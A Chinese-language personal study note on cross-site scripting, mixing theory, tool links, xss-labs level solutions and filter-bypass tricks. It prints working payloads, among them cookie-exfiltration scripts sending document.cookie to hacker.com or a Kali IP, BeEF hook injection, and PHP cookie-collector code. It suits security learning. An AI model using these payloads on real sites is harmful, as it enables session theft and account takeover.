XSS学习笔记(未完)
XSS基础学习
- 1. XSS
- 1.1 客户端Cookie:
- 1.2 XSS攻击类型
- 1.3 工具/平台
- 1.4 利用方式
- 1.4.1 非手工方式
- 1.4.1.1自动化攻击:beef
- 1.4.2 手工方式
- 1.5 XSS一些常用代码
- 1.6 构造XSS脚本
- 1.7 防御手段
- 1.8 xss-labs练习笔记
- 2. 常规注入代码
- 2.1 标签或字符闭合
- 2.2 事件触发类
- 2.3 javascript伪协议
- 2.4 有过滤情况
- 2.5 特殊-获取用户cookie等数据的payload
- 3. XSS的绕过方式总结
1. XSS
- XSS的核心要求是构造出能够让前端执行的javascript代码,所以要求我们对javascript代码必须熟悉;
- XSS也算是注入类的漏洞,JavaScript的代码注入,所以XSS漏洞更主要是去攻击系统的用户,而不是系统本身;
- 注意闭合。
1.1 客户端Cookie:
第一次访问:
客户端请求页面
服务端响应,响应头中有set-Cookie:字段,为客户端设置Cookie
浏览器将Cookie进行存储(磁盘或内存)
之后的访问:
客户端携带Cookie进行访问
1.2 XSS攻击类型
- 反射型
- 存储型
- DOM型
1.3 工具/平台
- 扫描工具:XSSTrike
下载地址:https://github.com/s0md3v/XSStrike - 抓包工具:burpsuit(用target模块)
- XSS平台工具:beef xss
- XSS在线平台:
https://www.xssye.com/auth/login
https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895 - 靶场:xss-labs
下载地址:https://github.com/do0dl3/xss-labs
1.4 利用方式
1.4.1 非手工方式
xss平台。利用该平台获取受害者的cookie等信息;
https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895postman管理。利用xss平台获取到cookie值后,用postman软件输入url和cookie值后可直接对后台管理;
使用beef。在kali开启beef服务,浏览器登录beef,将显示信息中的例子输入到受害者输入框中,beef页面中可得到对方的类似shell的权限,相当于上传了一个马。
登录页面(kali机):http://192.168.161.131:3000/ui/panel
例子为:<script src="http://192.168.161.131:3000/hook.js"></script>
XSSstrike工具
1.4.1.1自动化攻击:beef
操作步骤:
- 在kali中启动beef-xss
- 浏览器访问
- 将显示信息中的例子输入到受害者输入框中,页面中可得到对方的类似shell的权限,相当于上传了一个马。
例子为:<script src="http://192.168.161.131:3000/hook.js"></script>
- 在beef后台可看到已中招的IP地址
- 在命令栏中进行各种命令操作
1.4.2 手工方式
获取cookie: 渗透机 Kali Linux端操作
- 构建收集cookie服务器
- 构造XSS代码并植入到web服务器
- 等待肉鸡触发XSS代码并将cookie发送到Kali
- Cookie利用
渗透步骤:
第一步:编写文件
root@kali:~#vim /var/www/html/cookie_rec.php
cookie_rec.php内容
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt","a");fwrite($log, $cookie . "\n");fclose($log);
?>
第二步:提升目录权限
root@kali:~#chown -R www-data.www-data /var/www/
第三步:通过渗透机植入XSS代码
在XSS存储型处植入下列代码:
<script>window.open('http://192.168.161.131/cookie_rec.php?cookie='+document.cookie);</script>
PS1:192.168.161.131为kali Linux IP
PS2:先清除之前植入的XSS代码
第四步:客户机访问代码植入的位置
第五步:cookie收集
root@kali:~#cat /var/www/html/cookie.txt
查看是否成功收集Cookie
1.5 XSS一些常用代码
常用HTML标签:
<iframe> iframe标签会创建包含另外一个文档的内联框架(即行内框架)。
<textarea> <textarea>标签定义多行的文本输入控件。
<img> img标签向网页中嵌入一幅图像。
<script> <script>标签用于定义客户端脚本,比如JavaScript。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件,
必需的type属性规定脚本的MIME类型。
JavaScript的常见应用时图像操作、表单验证以及动态内容更新。
常用javascript方法:
Alert: alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location: window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面。
location.href: Location.href返回当前显示的文档的完整 URL
onload: —张页面或一幅图像完成加载
onsubmit: 确认按钮被点击
onerror: 在加载文档或图像时发生错误
1.6 构造XSS脚本
- 探测过滤字符
<sCr<scrscRiptipt>ipt>OonN\'"< > //万能paload,上传之后看输出是否过滤字符
<script"'Oonn> //试探,看是否过滤
- 弹框警告:
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('XSS')</script>
<script>alert(document.cookie)</script> <!--弹出用户cookie-->
- 页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
- 页面重定向
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
- 弹窗警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert("xss");location.hret="http://10.1.64.35/mutillidae/rebots.txt"</script>
这里结合了一些社工的思路,例如:通过网站内部私信的方式将其发给其他用户;如果其他用户点击并相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)
- 访问恶意代码
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://BeEF_IP:3008/hook.js"></script> <!--结合BeEF收集用户的cookie-->
- 巧用图片标签
<img src="#" onerror=alert ('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
- 绕开过滤的脚本
大小写<ScrIpt>alert( 'xss')</SCRipt>
字符编码采用URL、Base64等编码
<a href="&8#106;8#97;8#118;ascr8#105;p8#116;8#58;a8#108;8#101;8#114;8#116;("xss")">yangge</a>
注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss](注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss
- 收集用户cookie
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://w.hacker.com/cookie.php?cookie="document.cookie</script>
<script>new Image().src="http://w.hacker.com/cookie.php?cookie="+docyment.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://ww.hacker.com/cookie.php?cookie='+document.cookie";img.width = 0;img.height = 0;</script>
攻击者服务器用PHP+数据库收集cookie
<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $GET['url'];
$cookie = $_GET['cookie'];
$conn = new mysqli('127..0.1','root','123456','learn' ) or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values ('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
// echo "<script>history.back();<lscript>";
echo "<script>location.href='http://www.woniunote.com/'<script>"; //完成后跳转页面,相当于打广告
?>
1.7 防御手段
(1)做实体字符编码,htmlspecialchars()
(2)正则表达式或字符串判断,等
若限制只能使用http://或https://,则可使用实体字符转换(16进制或10进制),以分号结束前一句,后跟http://或https://
payload:javascript:alert(1);http://
1.8 xss-labs练习笔记
1、payload:<script>alert(1)</script>
2、payload:1"><ScRipt>alert(1)</ScRipt> //闭合,大小写绕过
3、payload:' onclick ='javascript:alert(3)'// //使用了htmlspecialchars方法,需要避开新标签的使用
4、payload:"onclick ="javascript:alert(4)
5、payload:"><a href='javascript:alert(5)'>xss</a> //script过滤了,onclick也过滤了
6、payload:"><a hREf='javascript:alert(6)'>xss</a> //闭合,大小写绕过
7、payload:" oonnmouseover="alert(7) //闭合,双写绕过
8、payload:javascript:alert(8)//javascript:alert(8),过滤了"<>script,导致不能完成闭合,故不修改标签,利用编码进行传参
9、payload:javascript:alert(9)//http:////javascript:alert(9)//http://,使用了正则表达式,限制只能使用http://或https://
10、payload:&t_sort=" type='text' οnmοuseοver='javascript:alert(10)'>// //请求参数不止一个,可以进行挨个试探
11、payload:Referer:" type='text' οnmοuseοver='javascript:alert(11)'>// //试探可用参数,得知为referer,抓包改referer值
12、payload:User-Agent: " οnmοuseοver="javascript:alert(12)" type="text //试探可用参数,得知为User-Agent,抓包改User-Agent值
13、payload:Cookie: user=" οnmοuseοver="javascript:alert(13)" type="text //试探可用参数,得知为Cookie,抓包改Cookie值,必须保留user=,否则不能传参
15、payload:'http://localhost/xss-labs/level1.php?name=<img src=1 onerror=alert(15)>' //使用了ng-include属性,属性值可以是表达式,还可以是包含在同一域名下的文件
16、payload:<img%0Asrc=1%0Aοnerrοr=alert(1)> //过滤了空格,用%0A代替
17、payload:οnmοusedοwn='alert(1)' //需要flash插件才能触发,οnmοuseοver='alert(1)'也行//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοusedοwn='alert(1)'
18、payload:οnmοuseοver='alert(1)'//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοuseοver='alert(1)'
19、payload:?arg01=version&arg02=<a href="javascript:alert(1)">123</a> //Flash xss,涉及反编译,暂时搞不懂//http://localhost/xss-labs/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a><!--Flash xss参考链接https://blog.csdn.net/u014029795/article/details/103213877 //第19关详解https://blog.csdn.net/weixin_30702413/article/details/99326627 //Flash xss简述-->
20、payload:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123 <!--跟上述一样-->//https://blog.csdn.net/u014029795/article/details/103217680
2. 常规注入代码
2.1 标签或字符闭合
//<script><script>alert(/xss/)</script>
或
<script>alert('xss')</script>
"> <script>alert('xss')</script> <" //标签闭合
<img src=1 onerror=alert ("xss")>
//<input>
<input onfocus="alert('xss')">
<input οnblur=alert("xss") autofocus><input autofocus> //竞争焦点,从而触发onblur事件
<input onfocus="alert('xss')" autofocus> //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');"> //使用open属性触发ontoggle事件,无需用户去触发
//<svg>
<svg οnlοad=alert("xss");>
//<select>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus> //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<iframe>
<iframe οnlοad=alert("xss");></iframe>
//<video>
<video><source onerror="alert(1)">
//<audio>
<audio src=x οnerrοr=alert("xss");>
//<body>
<body/οnlοad=alert("xss");>
//<textatea>
<textarea οnfοcus=alert("xss"); autofocus>
//<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐
//<matquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
//<isindex>
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE
2.2 事件触发类
//代码位于onclick事件中,此类事件带有onerror, onload, onfocus, onblur, onchange, onmouseover等
onclick //单击事件
<img src="http://xxx.xxx.jpg" onclick="alert(1)">
onmouseover: //鼠标移动事件
<img src="http://xxx.xxx.jpg" onmouseover="alert(1)">
<button onclick="alert('你被攻击了')">快来点我</button> //按钮提交,onclick为单击
' οnmοuseοver='alert(/xss/)' //闭合标签,鼠标事件
2.3 javascript伪协议
<a href="javascript:alert(1)">xss</a> //伪协议,跳转链接
<iframe src="javascript:alert('xss')"></iframe>
<img src="javascript:alert('xss')"> //IE7以下
<form action="Javascript:alert(1)"><input type=submit>
2.4 有过滤情况
<img/src="x"/οnerrοr=alert("xss");> //过滤空格,用/代替空格
<!--过滤关键字-->
<ImG sRc=x onerRor=alert("xss");> //大小写绕过
<imimgg srsrcc=x οnerrοr=alert("xss");> //双写关键字
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> //字符拼接,利用eval
<script>top["al"+"ert"](`xss`);</script> //字符拼接,利用top
其他字符混淆(编码绕过等)
参考链接:https://blog.csdn.net/qq_50854790/article/details/124055941
2.5 特殊-获取用户cookie等数据的payload
<script>new.Image().src="http://10.0.2.15/xssrecv.php?url=" %2B location.href %2B "%26cookie=" %2B document.cookie;/*新建一个图像对象,并赋予一个超链接,可在用户不知情中自动加载该超链接%2B为+号,%26为&符号,因为php后台将+号等同于空格,&符号后的字符会消失*/</script><iframe src="http://www.xxx.com" width=200,lheight=100/> //钓鱼技巧,插入内嵌的页面,可通过get请求传参构成钓鱼网站
//例子:
http://localhost/Test/testXSS.php?content=<iframe src="http://www.taobao.com/" width=100% height=100%/>
//涉及Flash的情况
payload:http://192.168.112.188/xss/level19.php?arg01=version&arg02=<a href="javascriptalert(1)">111</a><button onclick="alert(document.cookie)">点我有惊喜</button> //获取当前网页用户cookie
<script>function test() {alert("Hello Test");}</script> <button onclick="test()">快来点我</button> //创建函数test(),onclick调用test()函数
3. XSS的绕过方式总结
- 绕过过滤
(1)前端限制,直接用F12开发者选项修改JS代码或HTML代码可,或者用burpsuite绕过。
(2)字符过滤,双写(onclick ononclickclick),大小写绕过(ONClick),通过注释符绕过(//, /**/),也可以通过换行符绕过(%OA,%0D)。
(3)HTML实体转换://字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。javascript:alert("Hello Woniu")编码为:1.十六进制:ja&#×76;a&#×73;&#×63;&#×72;i&#×70;t&#×3A; &#×61;le&#×72;&#×74;&#×28;8"Hel l &f#x6F ; &#×57;&#×6F ;n ;iu"&#×29;&#×20;2.十进制:java&8#115;&8#99;ri&4112;t:a&8#108;ert("Hello Woniu") 
- 绕过编码
明确浏览器解析的机制,明白机制后,选择对应的编码。 - 其他技巧
(1)输出在标签间的情况:测试◇是否被过滤或转义,若无则直接<img src=1 onerror=alert(1)>
(2)输出在script标签内:我们需要在保证内部S语法正确的前提下,去插入我们的payload。如果我们的输出在字符串内部,测试字符串能否被闭合。如果我们无法闭合包裹字符串的引号,这个点就很难利用了。可能的解决方案:可以控制两处输入且\可用、存在宽字节
(3)输出在HTML属性内:首先查看属性是否有双引号包裹、没有则直接添加新的事件属性;有双引号包裹则测试双引号是否可用,可用则闭合属性之后添加新的事件属性;TIP:HTML的属性,如果被进行HTML实体编码(形如'),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。
(4)输出在JS中,空格被过滤:使用/**/代替空格(%0A),或者在XSS代码后对其他代码进行注释。+:%2B
(5)输出在JS注释中:设法插入%0A,%0D等,使其逃逸出来。
(6)输出在JS字符串内:可以利用S的十六进制、八进制、unicode编码。
(7)输出在srchreflaction等属性内:可以利用javascriptalert(1),以及data:text/html;base64;加上base64编码后的HTML.
(8)当我们的XSSpayload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。1、<textarea></textarea>2、<title></title>3、<iframe></iframe>4、<noscript></noscript>5、<noframes></noframes>6、<xmp></xmp>7、<plaintext></plaintext>
个人学习随记,个中多有不足之处,仅当参考!
XSS学习笔记(未完)相关推荐
- TS学习笔记 ---未完待续....
TS学习笔记 1 .ts文件与.tsx文件有什么区别 2.使用TS之前需要配置 3.TS特性 泛型和类型注解有什么区别? 3.什么是泛型参数? 4.函数.类.接口有什么区别? 4.1 一个class不 ...
- 个体软件过程(PSP)学习笔记 (未完)
个体软件过程 前言 软件工程漫谈 软件工程认识观 标准定义 将系统化的.规范的.可度量的方法应用于软件的开发.运行和维护的过程,即将工程化应用于软件中;以上所述方法的研究 软件开发管理 项目管理是基础 ...
- 赖世雄教你学英语语法学习笔记(未完)
[size=medium]关系代词部分(18-19) 关系代词使用的三个原则 1.关系代词前面必须有先行词,也就是被代替的名词 2.关系代词在所引导的从句中必须当主语或宾语 3.关系代词在从句中不能当 ...
- pythonb超分辨成像_Papers | 超分辨 + 深度学习(未完待续)
1. SRCNN 1.1. Contribution end-to-end深度学习应用在超分辨领域的开山之作(非 end-to-end 见 Story.3 ). 指出了超分辨方向上传统方法( spar ...
- 《漫画算法》读书心得笔记-未完
感谢FunTester送的书籍.建议大家买或借来看看,一起学习下.本文主要是记录我看这本书的心得,不一定理解是对的,是我自己悟出来的体会,而不是按书照抄,都是凭自己的理解写出来的,相当于在写一本书了, ...
- Kubernetes学习笔记-未整理
Kubernetes学习笔记 标签:Kubernetes 学习笔记 原文:https://github.com/wtysos11/NoteBook/blob/master/微服务/Kubernetes ...
- Ubuntu系统学习笔记(完整版)
Ubuntu是一个以桌面应用为主的Linux操作系统.一般叫做乌班图 什么叫操作系统? widows,用于个人桌面 macOS,用于个人桌面 Linux,主要用于服务器,商务部署 创建虚拟机安装Ubu ...
- 大数据Spark学习笔记—未更完
Spark概述 核心模块 Spark编程配置 IDEA配置scala环境 IDEA软件中Scala配置安装教程(Spark计算环境搭建)_jing_zhong的博客-CSDN博客 较全的idea202 ...
- c++课程学习(未完待续)
关于c++课程学习 按照计划,我首先阅读谭浩强c++程序设计一书的ppt,发现第一章基本上都是很基础的东西. 同时,书中与班导师一样,推荐了使用visual c++. 而师爷的教程里面推荐使用的是ec ...
最新文章
- Smarty的配置与高级缓存技术
- linux机器启动pg数据库命令,Linux下创建Postgresql数据库的方法步骤
- 【原创】大数据基础之Spark(9)spark部署方式yarn/mesos
- 如何管理和记录 SSIS 各个 Task 的开始执行时间和结束时间以及 Task 中添加|删除|修改的记录数...
- NodeJS入门04-Express路由和中间件 - 小之 - 博客园
- Android怎么插手机卡,魅蓝E手机卡怎么装 魅蓝E手机SIM卡安装图文教程
- Hadoop hdfs上传文件报错解决
- ansible的自动化管理
- Git(9):通俗易懂的Git指令
- 计算机毕业设计nodejs宠物寄存管理系统
- Microsoft® Silverlight™ Streaming by Windows Live™
- 我在华为的十年(转)
- JOB SERVER 负载均衡
- 狂胜——Redis学习笔记
- Android仿qq邮箱账号邮件账号输入框交互
- 剑灵狂欢区服务器位置,9377剑灵洪门崛起6月25日部分区合服公告
- Origami Airplanes Folds In 3D:非常给力的3D折纸应用
- OpenCV stitching_detailed.cpp 笔记
- 微软高级工程师带你 21 天入门机器学习
- android township 游戏存档备份,游戏闪退存档全没了?不要怕,可以这样备份与还原游戏存档!...
热门文章
- 关于到年底日常生活的工作计划
- android TP
- 微信支付常见错误和统一下单错误码详情
- Mac OS 系统用不了Origin怎么办?
- 实用算法的分析与程序设计——递推法(倒推法)
- 浏览器下载文件,读取BLOB字段会因为数据太大导致数据库连接connect超时关闭的解决方案...
- 二本计算机类专业农村学生出路,农村“二本”大学生有哪些出路?主要出路有四条,第2条可逆袭...
- Unity导出微信小游戏
- 工作中遇到问题以及解决方法
- 使用高德地图服务获取全部行政区划与各个省市的地理坐标